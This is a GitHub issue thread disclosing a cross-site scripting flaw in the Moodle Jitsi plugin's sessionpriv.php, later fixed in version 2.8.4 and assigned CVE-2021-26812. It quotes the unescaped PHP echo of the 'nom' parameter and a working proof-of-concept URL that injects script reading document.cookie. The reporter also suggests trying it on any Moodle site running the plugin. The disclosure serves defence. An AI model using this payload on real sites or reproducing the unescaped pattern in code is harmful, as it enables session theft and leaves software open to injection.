New issue

Jump to bottom

Cross-site scripting (XSS) in sessionpriv.php #67

Closed **PurushottamanR** opened this issue on Jan 29, 2021 · 6 comments

PurushottamanR commented on Jan 29, 2021 • edited

The parameter "nom" is not filtered properly causing javascript code to be injected.

```
34  $nombre = required_param('nom', PARAM_TEXT);

154  echo "var api = new JitsiMeetExternalAPI(domain, options);\n";
155  echo "api.executeCommand('displayName', '".$nombre."');\n";
156  echo "api.executeCommand('avatarUrl', '".$avatar."');\n";
```

Moodle Jitsi Plugin XSS POC.pdf

It can be easily triggered by clicking this URL
https://targetdomain.com/mod/jitsi/sessionpriv.php?
avatar=https%3A%2F%2Ftargetdomain.com%2Fuser%2Fpix.php%2F498%2Ff1.jpg&nom=test_user%27)%3balert(document.cookie)%3b//&ses=test_user&t=1

replace "targetdomain.com" with any moodle website you know that is using this plugin.

1

PurushottamanR changed the title ~~XSS in sessionpriv.php~~ **Cross-site scripting (XSS) in sessionpriv.php** on Feb 1, 2021

SergioComeron added a commit that referenced this issue on Feb 3, 2021

`Cross-site scripting (XSS) in sessionpriv.php #67` 4364ddb

SergioComeron commented on Feb 4, 2021 Member

v.2.8.4 prevents code inyections into the name parameter in private sessions.

SergioComeron closed this as completed on Feb 4, 2021

PurushottamanR commented on Feb 4, 2021 Author

Thank you for the reply. Was this vulnerability highlighted to you before?

SergioComeron commented on Feb 4, 2021 Member

Never. Lot of thanks!

mwuttke commented on Feb 4, 2021 Contributor

@SergioComeron: Please could you bump up the version number?

SergioComeron commented on Feb 4, 2021 Member

Sorry, I forgot it. hehe
I already did the push.

abergmann commented on Apr 15, 2021

CVE-2021-26812 was assigned to this issue.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

4 participants